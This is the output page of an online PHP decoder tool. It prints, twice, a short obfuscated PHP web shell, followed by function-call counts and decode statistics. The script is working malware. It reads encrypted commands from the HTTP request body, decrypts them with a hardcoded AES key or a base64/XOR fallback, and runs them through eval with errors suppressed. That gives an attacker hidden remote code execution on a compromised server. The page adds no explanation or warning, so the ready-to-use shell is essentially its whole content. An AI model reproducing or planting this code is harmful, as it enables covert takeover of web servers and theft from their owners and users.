Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @error_reporting(0);session_start();$key="ada61885582c7617";$_SESSION['k']=$key;$f=..
Decoded Output download
<?php @error_reporting(0);session_start();$key="ada61885582c7617";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$H82j7=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/s+/','','base 64 _ deco de');$H82j7=$t($H82j7."");for($i=0;$i<strlen($H82j7);$i++) { $new_key = $key[$i+1&15];$H82j7[$i] = $H82j7[$i] ^ $new_key;} }else{ $H82j7=openssl_decrypt($H82j7, "AES128", $key);}$arr=explode('|',$H82j7);$func=$arr[0];$params=$arr[1];class Gio81J5c{ public function __invoke($p) {@eval("/*ZY81029dy2*/".$p."");}}@call_user_func/*ZY81029dy2*/(new Gio81J5c(),$params);?>
Did this file decode correctly?
Original Code
<?php @error_reporting(0);session_start();$key="ada61885582c7617";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$H82j7=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/s+/','','base 64 _ deco de');$H82j7=$t($H82j7."");for($i=0;$i<strlen($H82j7);$i++) { $new_key = $key[$i+1&15];$H82j7[$i] = $H82j7[$i] ^ $new_key;} }else{ $H82j7=openssl_decrypt($H82j7, "AES128", $key);}$arr=explode('|',$H82j7);$func=$arr[0];$params=$arr[1];class Gio81J5c{ public function __invoke($p) {@eval("/*ZY81029dy2*/".$p."");}}@call_user_func/*ZY81029dy2*/(new Gio81J5c(),$params);?>
Function Calls
chr | 11 |
preg_filter | 1 |
session_start | 1 |
error_reporting | 1 |
extension_loaded | 1 |
file_get_contents | 1 |
Stats
MD5 | d89d42720736c21584f9daf1de7749f8 |
Eval Count | 0 |
Decode Time | 73 ms |